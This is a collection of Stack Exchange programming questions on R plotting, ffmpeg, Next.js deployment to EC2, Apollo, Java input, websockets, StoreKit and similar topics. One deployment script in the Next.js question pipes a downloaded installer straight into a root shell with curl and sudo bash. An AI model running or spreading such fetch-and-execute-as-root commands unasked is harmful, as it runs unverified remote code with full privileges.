问:
How do I draw a gene neighbourhood diagram using R?
I have a species and gene dataset like this:

How do I draw gene neighbourhood diagram where each gene would be represented as a rectangle with arrowhead pointing in right or left direction based on the orientation column? Each rectangle must be of equal size regardless of the start and stop coordinates of the gene, although the genes must be in order according to the coordinates. The species name must be written on the left side. The gene name must be written in the centre of each respective rectangles and each gene must be coloured uniquely based on their label.

I tried using the gggenes package:

```<code>ggplot(example_genes, aes(xmin = start, xmax = end, y = molecule, fill = gene,
                          forward = orientation)) +
  geom_gene_arrow() +
  facet_wrap(~ molecule, scales = "free", ncol = 1) +
  scale_fill_brewer(palette = "Set3") +
  theme_genes()
</code>```

Result:

But it draws gene of unequal size which makes it harder to label it. It also leaves a huge gap between each gene.

Body:
I have a species and gene dataset like this:

How do I draw gene neighbourhood diagram where each gene would be represented as a rectangle with arrowhead pointing in right or left direction based on the orientation column? Each rectangle must be of equal size regardless of the start and stop coordinates of the gene, although the genes must be in order according to the coordinates. The species name must be written on the left side. The gene name must be written in the centre of each respective rectangles and each gene must be coloured uniquely based on their label.

I tried using the gggenes package:

ggplot(example_genes, aes(xmin = start, xmax = end, y = molecule, fill = gene,
                          forward = orientation)) +
  geom_gene_arrow() +
  facet_wrap(~ molecule, scales = "free", ncol = 1) +
  scale_fill_brewer(palette = "Set3") +
  theme_genes()

Result:

But it draws gene of unequal size which makes it harder to label it. It also leaves a huge gap between each gene.


来源: stackexchange

问:
FFMPEG Convert video to images
when I use ffmpeg to convert video to images there's one problem,the total number of pictures is not equal to the number of frames.

first, I used ffprobe cmd to get the total number of frames：

```<code> ffprobe -v error -count_frames -select_streams v:0 -show_entries stream=nb_read_frames -of default=nokey=1:noprint_wrappers=1 in.mp4
</code>```

and got the number is 278

then,I used ffmpeg cmd to convert video to images:

```<code>ffmpeg -i 'in.mp4' -f image2 -qscale:v 2 'out_%05d.png'
</code>```

but I got 281 pictures.

I checked out the ffmpeg's documentation but found nothing about this

so how can I solve this problem

ContentLicense: CC BY-SA 4.0

Title: FFMPEG Convert video to images

Body:
when I use ffmpeg to convert video to images there's one problem,the total number of pictures is not equal to the number of frames.

first, I used ffprobe cmd to get the total number of frames：

 ffprobe -v error -count_frames -select_streams v:0 -show_entries stream=nb_read_frames -of default=nokey=1:noprint_wrappers=1 in.mp4

and got the number is 278

then,I used ffmpeg cmd to convert video to images:

ffmpeg -i 'in.mp4' -f image2 -qscale:v 2 'out_%05d.png'

but I got 281 pictures.

I checked out the ffmpeg's documentation but found nothing about this

so how can I solve this problem


问:
Failed to load next.config.js on deploying NextJS to AWS EC2 instance using Codepipeline
```<code>ready - started server on 0.0.0.0:3000, url: http://localhost:3000
3|customapp  | (node:1340043) UnhandledPromiseRejectionWarning: /app/node_modules/next/dist/server/next-server.js:91
3|customapp  |     compression = this.nextConfig.compress && this.nextConfig.target === "server" ? (0, _compression).default() : undefined;
3|customapp  |                 ^
3|customapp  | SyntaxError: Unexpected token =
3|customapp  |     at Module._compile (internal/modules/cjs/loader.js:723:23)
3|customapp  |     at Object.Module._extensions..js (internal/modules/cjs/loader.js:789:10)
3|customapp  |     at Module.load (internal/modules/cjs/loader.js:653:32)
3|customapp  |     at tryModuleLoad (internal/modules/cjs/loader.js:593:12)
3|customapp  |     at Function.Module._load (internal/modules/cjs/loader.js:585:3)
3|customapp  |     at Module.require (internal/modules/cjs/loader.js:692:17)
3|customapp  |     at require (internal/modules/cjs/helpers.js:25:18)
3|customapp  |     at Timeout.getServerImpl [as _onTimeout] (/app/node_modules/next/dist/server/next.js:59:71)
3|customapp  |     at ontimeout (timers.js:436:11)
3|customapp  |     at tryOnTimeout (timers.js:300:5)
3|customapp  | (node:1340043) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). (rejection id: 1)
3|customapp  | (node:1340043) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.
3|customapp  | error - Failed to load next.config.js, see more info here https://nextjs.org/docs/messages/next-config-error
3|customapp  | Error: Not supported
3|customapp  |     at Object.loadConfig [as default] (/app/node_modules/next/dist/server/config.js:68:78)
3|customapp  | npm
3|customapp  |  ERR! code ELIFECYCLE
</code>```

This is the error I'm getting when trying to deploy NextJS to EC2 instance through code pipeline. When i try to run the app using pm2 start inside EC2 instance, it allows me. But through code pipeline, it shows errors. The Deployment stage seems completed, but when i took the logs of the pm2 this happens.
I was following https://gist.github.com/ArcRanges/3d1d95421984c40fffaf3fabc9ea7396

I was trying to get the app work, by testing curl --location --request GET 'http://localhost:3000/api/say' .
but it returned Connection refused ERR.
Then i tried pm2 log  and got the above error regarding next.config.js

This is my next.config.js file

```<code>/** @type {import('next').NextConfig} */
const nextConfig = {
  reactStrictMode: true,
  swcMinify: true,
};

module.exports = nextConfig;
</code>```

buildspec.yml

```<code>version: 0.2

phases:
  install:
    runtime-versions:
      nodejs: 16.x

    commands:
      # install npm
      - npm install -f
      - npm install next -g

  build:
    commands:
      # run build script
      - npm run build

artifacts:
  # include all files required to run application
  # notably excluded is node_modules, as this will cause overwrite error on deploy
  files:
    - assets/**/*
    - components/**/*
    - containers/**/*
    - pages/**/*
    - public/**/*
    - scripts/**/*
    - settings/**/*
    - styles/**/*
    - tsconfig.json
    - package.json
    - appspec.yml
    - postcss.config.js
    - tailwind.config.js
    - next.config.js
</code>```

appspec.yml

```<code>version: 0.0
os: linux
files:
  - source: /
    destination: /app
    overwrite: true
permissions:
  - object: /
    pattern: "**"
    owner: root
    group:

hooks:
  BeforeInstall:
    - location: scripts/before_install.sh
      timeout: 300
      runas: root
  AfterInstall:
    - location: scripts/after_install.sh
      timeout: 300
      runas: root
  ApplicationStart:
    - location: scripts/application_start.sh
      timeout: 300
      runas: root
</code>```

scripts/before_install.sh

```<code>#!/bin/bash
cd /app
curl -sL https://rpm.nodesource.com/setup_16.x | sudo -E bash -
apt -y install nodejs npm
</code>```

scripts/after_install.sh

```<code>#!/bin/bash
cd /app
npm install -f
npm install pm2 -g
</code>```

scripts/application_start.sh

```<code>
#!/bin/bash
cd /app
npm run build
echo "After Build"
node -e "console.log('Running node.js '+process.version)"
pm2 start npm --name "customapp" -- start
pm2 startup
pm2 save
pm2 restart all
</code>```

Body:
ready - started server on 0.0.0.0:3000, url: http://localhost:3000
3|customapp  | (node:1340043) UnhandledPromiseRejectionWarning: /app/node_modules/next/dist/server/next-server.js:91
3|customapp  |     compression = this.nextConfig.compress && this.nextConfig.target === "server" ? (0, _compression).default() : undefined;
3|customapp  |                 ^
3|customapp  | SyntaxError: Unexpected token =
3|customapp  |     at Module._compile (internal/modules/cjs/loader.js:723:23)
3|customapp  |     at Object.Module._extensions..js (internal/modules/cjs/loader.js:789:10)
3|customapp  |     at Module.load (internal/modules/cjs/loader.js:653:32)
3|customapp  |     at tryModuleLoad (internal/modules/cjs/loader.js:593:12)
3|customapp  |     at Function.Module._load (internal/modules/cjs/loader.js:585:3)
3|customapp  |     at Module.require (internal/modules/cjs/loader.js:692:17)
3|customapp  |     at require (internal/modules/cjs/helpers.js:25:18)
3|customapp  |     at Timeout.getServerImpl [as _onTimeout] (/app/node_modules/next/dist/server/next.js:59:71)
3|customapp  |     at ontimeout (timers.js:436:11)
3|customapp  |     at tryOnTimeout (timers.js:300:5)
3|customapp  | (node:1340043) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). (rejection id: 1)
3|customapp  | (node:1340043) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.
3|customapp  | error - Failed to load next.config.js, see more info here https://nextjs.org/docs/messages/next-config-error
3|customapp  | Error: Not supported
3|customapp  |     at Object.loadConfig [as default] (/app/node_modules/next/dist/server/config.js:68:78)
3|customapp  | npm
3|customapp  |  ERR! code ELIFECYCLE

This is the error I'm getting when trying to deploy NextJS to EC2 instance through code pipeline. When i try to run the app using pm2 start inside EC2 instance, it allows me. But through code pipeline, it shows errors. The Deployment stage seems completed, but when i took the logs of the pm2 this happens.
I was following https://gist.github.com/ArcRanges/3d1d95421984c40fffaf3fabc9ea7396

I was trying to get the app work, by testing curl --location --request GET 'http://localhost:3000/api/say' .
but it returned Connection refused ERR.
Then i tried pm2 log  and got the above error regarding next.config.js

This is my next.config.js file

/** @type {import('next').NextConfig} */
const nextConfig = {
  reactStrictMode: true,
  swcMinify: true,
};

module.exports = nextConfig;

buildspec.yml

version: 0.2

phases:
  install:
    runtime-versions:
      nodejs: 16.x

    commands:
      # install npm
      - npm install -f
      - npm install next -g

  build:
    commands:
      # run build script
      - npm run build

artifacts:
  # include all files required to run application
  # notably excluded is node_modules, as this will cause overwrite error on deploy
  files:
    - assets/**/*
    - components/**/*
    - containers/**/*
    - pages/**/*
    - public/**/*
    - scripts/**/*
    - settings/**/*
    - styles/**/*
    - tsconfig.json
    - package.json
    - appspec.yml
    - postcss.config.js
    - tailwind.config.js
    - next.config.js

appspec.yml

version: 0.0
os: linux
files:
  - source: /
    destination: /app
    overwrite: true
permissions:
  - object: /
    pattern: "**"
    owner: root
    group:

hooks:
  BeforeInstall:
    - location: scripts/before_install.sh
      timeout: 300
      runas: root
  AfterInstall:
    - location: scripts/after_install.sh
      timeout: 300
      runas: root
  ApplicationStart:
    - location: scripts/application_start.sh
      timeout: 300
      runas: root

scripts/before_install.sh

#!/bin/bash
cd /app
curl -sL https://rpm.nodesource.com/setup_16.x | sudo -E bash -
apt -y install nodejs npm

scripts/after_install.sh

#!/bin/bash
cd /app
npm install -f
npm install pm2 -g

scripts/application_start.sh

#!/bin/bash
cd /app
npm run build
echo "After Build"
node -e "console.log('Running node.js '+process.version)"
pm2 start npm --name "customapp" -- start
pm2 startup
pm2 save
pm2 restart all


问:
(Apollo Federation) How to route gateway's own schema
I am configuring a federation using apollo-gateway.

Many services can be provided through the gateway, but functions such as authentication would like to be provided by the gateway itself.

I am using supergraphsdl and implemented subgraph without using serviceList.

How can I express the graph provided by the gateway itself?

```<code>// index.ts
const apollo_gateway = new ApolloGateway({
    supergraphSdl,
    buildService: ({ name, url }) => {
        return new RemoteGraphQLDataSource(name, {
            url,
        });
    },
});

const apollo_server = new ApolloServer({
    gateway: apollo_gateway,
});
</code>```

Since I'm using rover to create subgraphs as supergraphs, I don't know how to include the graphql of the gateway itself in the supergraph.

Can this be done?

Body:
I am configuring a federation using apollo-gateway.

Many services can be provided through the gateway, but functions such as authentication would like to be provided by the gateway itself.

I am using supergraphsdl and implemented subgraph without using serviceList.

How can I express the graph provided by the gateway itself?

// index.ts
const apollo_gateway = new ApolloGateway({
    supergraphSdl,
    buildService: ({ name, url }) => {
        return new RemoteGraphQLDataSource(name, {
            url,
        });
    },
});

const apollo_server = new ApolloServer({
    gateway: apollo_gateway,
});

Since I'm using rover to create subgraphs as supergraphs, I don't know how to include the graphql of the gateway itself in the supergraph.

Can this be done?


问:
How to solve this LinkedIn API error "Not enough permissions to access: GET /me",

I am using this url "https://api.linkedin.com/v2/me?projection=(id,firstName,lastName,profilePicture(displayImage~:playableStreams))" for getting the user name and user image, but I am getting an error response.

This is the response I'm getting:

I am using React Linked In Login Using OAuth 2.0 package.


问:
How to make react native component as a android library

Here I want to use
react-native component into existing Android native application swith callback and other controls.like an android library

But I can't integrate existing Android native project into react-native and keep the root android project structure same.

Is there any possible way to full-fill this requirement?

Is Electrode Native exact solution for this?

What about React-Native Brownfield development for this scenario ?


问:
Is there something like getchar() in java?
So, the code works just fine but I want to know if there's a way to read a string from terminal without reading the "enter", I first read a int, totalWords, let's say 2, then I want to read 2 Strings, so I put it in a Loop, but the first String to be read is always "". In C I usually would just use getchar().

```<code>import java.util.Scanner;

public class WayTooManyWords {
    public static void main(String[] args){
        Scanner readVar = new Scanner(System.in);
        String[] words;
        String trash;
        int totalWords = readVar.nextInt();
        trash = readVar.nextLine();
        words = new String[totalWords];
        for (int i = 0; i < totalWords; i++) {
            words[i] = readVar.nextLine();
        }

        for (int i = 0; i < totalWords; i++) {
            if(words[i].length() > 10){
            System.out.print(words[i].charAt(0));
            System.out.print(words[i].length() - 2);
            System.out.print(words[i].charAt(words[i].length()-1));
            System.out.println();
            }
            else{
                System.out.println(words[i]);
            }
        }
        //readVar.close();
    }
}
</code>```

I created a variable just for the sake of getting rid of this but I'm not sure if that's good, it worked though. I tried resetting readVar as well but that didn't work.

Body:
So, the code works just fine but I want to know if there's a way to read a string from terminal without reading the "enter", I first read a int, totalWords, let's say 2, then I want to read 2 Strings, so I put it in a Loop, but the first String to be read is always "". In C I usually would just use getchar().

import java.util.Scanner;

public class WayTooManyWords {
    public static void main(String[] args){
        Scanner readVar = new Scanner(System.in);
        String[] words;
        String trash;
        int totalWords = readVar.nextInt();
        trash = readVar.nextLine();
        words = new String[totalWords];
        for (int i = 0; i < totalWords; i++) {
            words[i] = readVar.nextLine();
        }

        for (int i = 0; i < totalWords; i++) {
            if(words[i].length() > 10){
            System.out.print(words[i].charAt(0));
            System.out.print(words[i].length() - 2);
            System.out.print(words[i].charAt(words[i].length()-1));
            System.out.println();
            }
            else{
                System.out.println(words[i]);
            }
        }
        //readVar.close();
    }
}

I created a variable just for the sake of getting rid of this but I'm not sure if that's good, it worked though. I tried resetting readVar as well but that didn't work.


问:
Google Play: Can I reuse a package name of a suspended app from another account?
We have account 1 and account 2. Game A was suspended a year ago in account 2 and we can't do any action in it. But we want to reuse that same package name for Game B in account 1. Is it possible?</p>


问:
How Can I Serve A WebSocket with A WebSocket App with A Web Server Like Uvicorn In Python?
I want to create a broadcast socket that sends a message every e.g. 2 seconds to all clients.

This code works locally but when I deploy it on server it don't work.

How Can I Serve A WebSocket with A WebSocket App with A Web Server Like Uvicorn In Python?

server.py

import functools
import asyncio
import logging
import random
import time

import websockets
import redis

logging.basicConfig(level=logging.INFO)
CLIENTS = set()
r = redis.Redis(...)

async def handler(websocket):
    CLIENTS.add(websocket)
    try:
        await websocket.wait_closed()
    finally:
        CLIENTS.remove(websocket)

async def broadcast():
    """Broadcast Messages At Regular Intervals."""
    length = len(CLIENTS)
    while True:
        t1 = time.time()
        if len(CLIENTS) != length:
            logging.info(f"Clients = {len(CLIENTS)}")
            length = len(CLIENTS)

        response = redis.get("key")
        for websocket in CLIENTS.copy():
            try:
                await websocket.send(response )
            except websockets.ConnectionClosed:
                logging.error("A Connection Is Closed")

        t2 = time.time()
        await asyncio.sleep(2 - (t2 - t1))

async def serve():
    async with websockets.serve(
        functools.partial(handler),
        "0.0.0.0",
        3030,
        compression=None,
        ping_timeout=None
    ) as ws:
        await broadcast()

if __name__ == "__main__":
    asyncio.run(serve())
```
<p>I've used this Dockerfile for deployment</p>
<p><strong>Dockerfile</strong></p>
```FROM python:3.7.9-slim

WORKDIR /app

COPY ./requirements.txt .

RUN python -m pip install --upgrade pip

RUN pip install --no-cache-dir --upgrade -r ./requirements.txt

COPY . .

EXPOSE 3030

CMD ["python", "server.py"]
```

Body:
I want to create a broadcast socket that sends a message every e.g. 2 seconds to all clients.

This code works locally but when I deploy it on server it don't work.

How Can I Serve A WebSocket with A WebSocket App with A Web Server Like Uvicorn In Python?

server.py

import functools
import asyncio
import logging
import random
import time

import websockets
import redis

logging.basicConfig(level=logging.INFO)
CLIENTS = set()
r = redis.Redis(...)

async def handler(websocket):
    CLIENTS.add(websocket)
    try:
        await websocket.wait_closed()
    finally:
        CLIENTS.remove(websocket)

async def broadcast():
    """Broadcast Messages At Regular Intervals."""
    length = len(CLIENTS)
    while True:
        t1 = time.time()
        if len(CLIENTS) != length:
            logging.info(f"Clients = {len(CLIENTS)}")
            length = len(CLIENTS)

        response = redis.get("key")
        for websocket in CLIENTS.copy():
            try:
                await websocket.send(response )
            except websockets.ConnectionClosed:
                logging.error("A Connection Is Closed")

        t2 = time.time()
        await asyncio.sleep(2 - (t2 - t1))

async def serve():
    async with websockets.serve(
        functools.partial(handler),
        "0.0.0.0",
        3030,
        compression=None,
        ping_timeout=None
    ) as ws:
        await broadcast()

if __name__ == "__main__":
    asyncio.run(serve())

I've used this Dockerfile for deployment

Dockerfile

FROM python:3.7.9-slim

WORKDIR /app

COPY ./requirements.txt .

RUN python -m pip install --upgrade pip

RUN pip install --no-cache-dir --upgrade -r ./requirements.txt

COPY . .

EXPOSE 3030

CMD ["python", "server.py"]


问:
In app purchase products are returns '0' products by SKProductsResponse
Consumable In app purchase products are returned as zero products by 'SKProductsResponse' and added into 'invalidProductIdentifiers' property.

I'm not adding products at first time, three weeks before In-app purchase was worked as expected. Suddenly it's not working for me.

Consumable In-app purchase product configuration in app store connect as below,

I have created a product with product ID as 'com.companyname.appname.productID' (eg: com.XXXXX.YYYYY.p1)

Agreement, Tax, Banking informations are filled correctly and documents are uploaded on July-2022. Also my bank account status is 'Clear' and tick mark added 'In use' column.

Since I'm testing in app purchase using 'Ad Hoc' profile screen shots are not added in product information section.

Xcode setup

Xcode version 14.1.

'Automatically manage signing' selected under Signing & Capabilities.

'Automatic' selected for both 'debug' and 'release' in provisioning profile specifier under 'Build Setting'.

```<code>import Foundation
import StoreKit

enum IAPHandlerAlertType {
    case setProductIds
    case disabled
    case restored
    case purchased

    var message: String{
        switch self {
        case .setProductIds: return "Product ids not set, call setProductIds method!"
        case .disabled: return "Purchases are disabled in your device!"
        case .restored: return "You've successfully restored your purchase!"
        case .purchased: return "You've successfully bought this purchase!"
        }
    }
}
class InAppPurchaseHandler: NSObject {

    //MARK:- Shared Object
    //MARK:-
    static let shared = InAppPurchaseHandler()
    private override init() { }

    //MARK:- Properties
    //MARK:- Private
    fileprivate var productIds = [String]()
    fileprivate var productID = ""
    fileprivate var productsRequest = SKProductsRequest()
    fileprivate var fetchProductComplition: (([SKProduct])->Void)?

    fileprivate var productToPurchase: SKProduct?
    fileprivate var purchaseProductComplition: ((IAPHandlerAlertType, SKProduct?, SKPaymentTransaction?)->Void)?

    //MARK:- Public
    var isLogEnabled: Bool = true

    //MARK:- Methods
    //MARK:- Public

    //Set Product Ids
    func setProductIds(ids: [String]) {
        self.productIds = ids
    }

    //MAKE PURCHASE OF A PRODUCT
    func canMakePurchases() -> Bool {  return SKPaymentQueue.canMakePayments()  }

    func purchase(product: SKProduct, complition: @escaping ((IAPHandlerAlertType, SKProduct?, SKPaymentTransaction?)->Void)) {

        self.purchaseProductComplition = complition
        self.productToPurchase = product

        if self.canMakePurchases() {
            let payment = SKPayment(product: product)
            SKPaymentQueue.default().add(self)
            SKPaymentQueue.default().add(payment)

            log("PRODUCT TO PURCHASE: \(product.productIdentifier)")
            productID = product.productIdentifier
        }
        else {
            complition(IAPHandlerAlertType.disabled, nil, nil)
        }
    }

    // RESTORE PURCHASE
    func restorePurchase(){
        SKPaymentQueue.default().add(self)
        SKPaymentQueue.default().restoreCompletedTransactions()
    }

    // FETCH AVAILABLE IAP PRODUCTS
    func fetchAvailableProducts(complition: @escaping (([SKProduct])->Void)){

        self.fetchProductComplition = complition
        // Put here your IAP Products ID's
        if self.productIds.isEmpty {
            log(IAPHandlerAlertType.setProductIds.message)
            fatalError(IAPHandlerAlertType.setProductIds.message)
        }
        else {
            productsRequest = SKProductsRequest(productIdentifiers: Set(self.productIds))
            productsRequest.delegate = self
            productsRequest.start()
        }
    }

    //MARK:- Private
    fileprivate func log <T> (_ object: T) {
        if isLogEnabled {
            NSLog("\(object)")
        }
    }
}

//MARK:- Product Request Delegate and Payment Transaction Methods
//MARK:-
extension InAppPurchaseHandler: SKProductsRequestDelegate, SKPaymentTransactionObserver{

    // REQUEST IAP PRODUCTS
    func productsRequest (_ request:SKProductsRequest, didReceive response:SKProductsResponse) {

        if (response.products.count > 0) {
            if let complition = self.fetchProductComplition {
                complition(response.products)
            }
        }
    }

    func paymentQueueRestoreCompletedTransactionsFinished(_ queue: SKPaymentQueue) {
        if let complition = self.purchaseProductComplition {
            complition(IAPHandlerAlertType.restored, nil, nil)
        }
    }

    // IAP PAYMENT QUEUE
    func paymentQueue(_ queue: SKPaymentQueue, updatedTransactions transactions: [SKPaymentTransaction]) {
        for transaction:AnyObject in transactions {
            if let trans = transaction as? SKPaymentTransaction {
                switch trans.transactionState {
                case .purchased:
                    log("Product purchase done")
                    SKPaymentQueue.default().finishTransaction(transaction as! SKPaymentTransaction)
                    if let complition = self.purchaseProductComplition {
                        complition(IAPHandlerAlertType.purchased, self.productToPurchase, trans)
                    }
                    break

                case .failed:
                    log("Product purchase failed")
                    SKPaymentQueue.default().finishTransaction(transaction as! SKPaymentTransaction)
                    break
                case .restored:
                    log("Product restored")
                    SKPaymentQueue.default().finishTransaction(transaction as! SKPaymentTransaction)
                    break

                default: break
                }
            }
        }
    }
}

</code>```

Called the following two methods in viewDidLoad() of my respective viewController class

```<code>func setIAPProductID(){
        InAppPurchaseHandler.shared.setProductIds(ids: self.productIDs)
    }
</code>```

where, 'self.productIDs' is array of string product ids.

```<code>func fetchAvailableIAPProducts(){
        InAppPurchaseHandler.shared.fetchAvailableProducts { [weak self](products)   in
           guard let sSelf = self else {return}
           sSelf.arrayProductIDs = products
        }
    }
</code>```

where 'sSelf.arrayProductIDs' is array of SKProducts.

Body:
Consumable In app purchase products are returned as zero products by 'SKProductsResponse' and added into 'invalidProductIdentifiers' property.

I'm not adding products at first time, three weeks before In-app purchase was worked as expected. Suddenly it's not working for me.

Consumable In-app purchase product configuration in app store connect as below,

I have created a product with product ID as 'com.companyname.appname.productID' (eg: com.XXXXX.YYYYY.p1)

Agreement, Tax, Banking informations are filled correctly and documents are uploaded on July-2022. Also my bank account status is 'Clear' and tick mark added 'In use' column.

Since I'm testing in app purchase using 'Ad Hoc' profile screen shots are not added in product information section.

Xcode setup

Xcode version 14.1.

'Automatically manage signing' selected under Signing & Capabilities.

'Automatic' selected for both 'debug' and 'release' in provisioning profile specifier under 'Build Setting'.

import Foundation
import StoreKit

enum IAPHandlerAlertType {
    case setProductIds
    case disabled
    case restored
    case purchased

    var message: String{
        switch self {
        case .setProductIds: return "Product ids not set, call setProductIds method!"
        case .disabled: return "Purchases are disabled in your device!"
        case .restored: return "You've successfully restored your purchase!"
        case .purchased: return "You've successfully bought this purchase!"
        }
    }
}
class InAppPurchaseHandler: NSObject {

    //MARK:- Shared Object
    //MARK:-
    static let shared = InAppPurchaseHandler()
    private override init() { }

    //MARK:- Properties
    //MARK:- Private
    fileprivate var productIds = [String]()
    fileprivate var productID = ""
    fileprivate var productsRequest = SKProductsRequest()
    fileprivate var fetchProductComplition: (([SKProduct])->Void)?

    fileprivate var productToPurchase: SKProduct?
    fileprivate var purchaseProductComplition: ((IAPHandlerAlertType, SKProduct?, SKPaymentTransaction?)->Void)?

    //MARK:- Public
    var isLogEnabled: Bool = true

    //MARK:- Methods
    //MARK:- Public

    //Set Product Ids
    func setProductIds(ids: [String]) {
        self.productIds = ids
    }

    //MAKE PURCHASE OF A PRODUCT
    func canMakePurchases() -> Bool {  return SKPaymentQueue.canMakePayments()  }

    func purchase(product: SKProduct, complition: @escaping ((IAPHandlerAlertType, SKProduct?, SKPaymentTransaction?)->Void)) {

        self.purchaseProductComplition = complition
        self.productToPurchase = product

        if self.canMakePurchases() {
            let payment = SKPayment(product: product)
            SKPaymentQueue.default().add(self)
            SKPaymentQueue.default().add(payment)

            log("PRODUCT TO PURCHASE: \(product.productIdentifier)")
            productID = product.productIdentifier
        }
        else {
            complition(IAPHandlerAlertType.disabled, nil, nil)
        }
    }

    // RESTORE PURCHASE
    func restorePurchase(){
        SKPaymentQueue.default().add(self)
        SKPaymentQueue.default().restoreCompletedTransactions()
    }

    // FETCH AVAILABLE IAP PRODUCTS
    func fetchAvailableProducts(complition: @escaping (([SKProduct])->Void)){

        self.fetchProductComplition = complition
        // Put here your IAP Products ID's
        if self.productIds.isEmpty {
            log(IAPHandlerAlertType.setProductIds.message)
            fatalError(IAPHandlerAlertType.setProductIds.message)
        }
        else {
            productsRequest = SKProductsRequest(productIdentifiers: Set(self.productIds))
            productsRequest.delegate = self
            productsRequest.start()
        }
    }

    //MARK:- Private
    fileprivate func log <T> (_ object: T) {
        if isLogEnabled {
            NSLog("\(object)")
        }
    }
}

//MARK:- Product Request Delegate and Payment Transaction Methods
//MARK:-
extension InAppPurchaseHandler: SKProductsRequestDelegate, SKPaymentTransactionObserver{

    // REQUEST IAP PRODUCTS
    func productsRequest (_ request:SKProductsRequest, didReceive response:SKProductsResponse) {

        if (response.products.count > 0) {
            if let complition = self.fetchProductComplition {
                complition(response.products)
            }
        }
    }

    func paymentQueueRestoreCompletedTransactionsFinished(_ queue: SKPaymentQueue) {
        if let complition = self.purchaseProductComplition {
            complition(IAPHandlerAlertType.restored, nil, nil)
        }
    }

    // IAP PAYMENT QUEUE
    func paymentQueue(_ queue: SKPaymentQueue, updatedTransactions transactions: [SKPaymentTransaction]) {
        for transaction:AnyObject in transactions {
            if let trans = transaction as? SKPaymentTransaction {
                switch trans.transactionState {
                case .purchased:
                    log("Product purchase done")
                    SKPaymentQueue.default().finishTransaction(transaction as! SKPaymentTransaction)
                    if let complition = self.purchaseProductComplition {
                        complition(IAPHandlerAlertType.purchased, self.productToPurchase, trans)
                    }
                    break

                case .failed:
                    log("Product purchase failed")
                    SKPaymentQueue.default().finishTransaction(transaction as! SKPaymentTransaction)
                    break
                case .restored:
                    log("Product restored")
                    SKPaymentQueue.default().finishTransaction(transaction as! SKPaymentTransaction)
                    break

                default: break
                }
            }
        }
    }
}

Called the following two methods in viewDidLoad() of my respective viewController class

func setIAPProductID(){
        InAppPurchaseHandler.shared.setProductIds(ids: self.productIDs)
    }

where, 'self.productIDs' is array of string product ids.

func fetchAvailableIAPProducts(){
        InAppPurchaseHandler.shared.fetchAvailableProducts { [weak self](products)   in
           guard let sSelf = self else {return}
           sSelf.arrayProductIDs = products
        }
    }

where 'sSelf.arrayProductIDs' is array of SKProducts.


问:
Data Type of any Variable as Variable Name in SQL Server?
Why do we mention data type of any variable as variable name itself in SQL Server?

Please help me understand these.

Ex:

```<code>@OurBranchID BranchID,
@ApplicationID ApplicationID,
@Ispassed Bit = 0 OUTPUT,
@Remarks Remarks = NULL OUTPUT
</code>```

This might be a noob query but I have always used regular data types for declaring variables. Was checking a stored procedure where I encountered such datatype. Also, checked the structure of other tables which had kinda similar datatypes

Body:
Why do we mention data type of any variable as variable name itself in SQL Server?

Please help me understand these.

Ex:

@OurBranchID BranchID,
@ApplicationID ApplicationID,
@Ispassed Bit = 0 OUTPUT,
@Remarks Remarks = NULL OUTPUT

This might be a noob query but I have always used regular data types for declaring variables. Was checking a stored procedure where I encountered such datatype. Also, checked the structure of other tables which had kinda similar datatypes


问:
I have changed sdk version from 29 to 30
I have made a status saver app.I have used target sdk version 29 and it was working good.But when I changed it to 30 or higher it does not show status. I have improved all the libraries and dependedies that was suggested.
please help....
I have give some screenshoots... Please help,,,,If you feel easy we can disscus on whatsapp,massanger etc...as you wish.....

[1]: https://i.stack.imgur.com/C0vaU.png
`pic2

pic3

pic4

I have searched a lot but invain.....


问:
Run mvn clean install and mvn spring-boot:run from specific directories in command line
I am trying to achieve two different src folders for a springboot application.

The folder structure will be

```<code>-simpleSpringboot
  -src
    -main
      -java
        -simpleSpringboot
          -SimpleSpringbootApplication.java
      -resources
    -test
  -solution
    -main
      -java
        -simpleSpringboot
          -SimpleSpringbootApplication.java
      -resources
    -test
  pom.xml
</code>```

So here Will it be possible to do the mvn clean install and mvn spring-boot:run from src folder at sometimes and from solution folder at sometimes?

Will it be possible to pass the actual src folder path in the mvn commands?

I googled many but didn't get a proper answer.

Please guide me on this if this approach is possible.

Thanks in advance.

Body:
I am trying to achieve two different src folders for a springboot application.

The folder structure will be

-simpleSpringboot
  -src
    -main
      -java
        -simpleSpringboot
          -SimpleSpringbootApplication.java
      -resources
    -test
  -solution
    -main
      -java
        -simpleSpringboot
          -SimpleSpringbootApplication.java
      -resources
    -test
  pom.xml

So here Will it be possible to do the mvn clean install and mvn spring-boot:run from src folder at sometimes and from solution folder at sometimes?

Will it be possible to pass the actual src folder path in the mvn commands?

I googled many but didn't get a proper answer.

Please guide me on this if this approach is possible.

Thanks in advance.


问:
Cannot run nbconvert command in Jupyter Notebook
I try to run a code using Jupyter Notebook, and then use nbconvert to export the created notebooks to pdf, but it does not work.

For reference my code is like this (But I don't think it is related to my code directly?):

```<code># Import the necessary libraries
import pandas as pd
import matplotlib.pyplot as plt
from nbconvert import PDFExporter
from nbformat import v4 as nbf

# Read the Excel file using Pandas
excel_file = pd.ExcelFile('survey_responses.xlsx')

# Use a loop to iterate over the sheets and generate pie charts and PDF files for each one
for sheet_name in excel_file.sheet_names:
    # Read the sheet using Pandas
    df = excel_file.parse(sheet_name)

    # Create a new Jupyter notebook for the current sheet
    notebook = nbf.new_notebook()

    # Add a text cell to the Jupyter notebook
    text = 'The following pie charts show the results of the survey for Class {}.'.format(sheet_name)
    notebook['cells'].append(nbf.new_markdown_cell(text))

    # Use the subplots function to create a figure with multiple subplots
    fig, ax = plt.subplots(nrows=len(df.columns), ncols=1, figsize=(8, 6))

    # Use a loop to iterate over the columns and generate a pie chart for each one
    for i, question in enumerate(df.columns[1:], start=1):
        responses = df[question].value_counts()

    # Add a code cell to the Jupyter notebook
        code = 'ax[{}].pie(responses, labels=responses.index)\nax[{}].set_title("{}")'.format(i, i, question)
        notebook['cells'].append(nbf.new_code_cell(code))

    # Use nbconvert to convert the Jupyter notebook to a PDF file
    exporter = PDFExporter()
    pdf, _ = exporter.from_notebook_node(notebook)
    with open('{}.pdf'.format(sheet_name), 'wb') as f:
        f.write(pdf)

</code>```

Jupyter Note send me a pop-up window with title "Package Installation" and content enter image description here:

